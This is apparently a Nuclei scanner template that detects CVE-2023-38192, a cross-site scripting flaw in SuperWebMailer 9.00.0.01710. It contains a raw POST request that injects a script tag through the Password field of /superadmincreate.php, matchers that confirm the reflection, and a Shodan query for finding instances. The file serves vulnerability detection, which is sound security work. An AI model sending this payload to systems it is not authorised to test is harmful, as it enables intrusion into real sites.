id: CVE-2023-38192

info:
  name: SuperWebMailer 9.00.0.01710 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    An issue was discovered in SuperWebMailer 9.00.0.01710 allowing XSS via crafted incorrect passwords.
  impact: |
    Successful exploitation could lead to unauthorized access or data theft.
  remediation: |
    Implement input validation and output encoding to prevent XSS attacks.
  reference:
    - https://herolab.usd.de/security-advisories/usd-2023-0011/
    - https://herolab.usd.de/security-advisories/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-38192
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-38192
    cwe-id: CWE-79
    epss-score: 0.01116
    epss-percentile: 0.61791
    cpe: cpe:2.3:a:superwebmailer:superwebmailer:9.00.0.01710:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: superwebmailer
    product: superwebmailer
    shodan-query: title:"SuperWebMailer"
  tags: cve,cve2023,superwebmailer,xss,vkev,vuln

http:
  - raw:
      - |
        POST /superadmincreate.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        Password=a"><script>alert(document.domain);</script>&PasswordAgain=b&Language=de&SubmitBtn=Nutzer+erstellen

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Password" value="a"><script>alert(document.domain);</script>'
          - 'SuperWebMailer'
        condition: and
        case-insensitive: true

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022060db0a05acd2213f3c26eab250401b5719b149874508cd9dd812a526c14e833e0221008661a8e5035b6208267afcc0878f0d8a4fae2039c1cc1732d2cfaa2c05f5082b:922c64590222798bb761d5b6d8e72950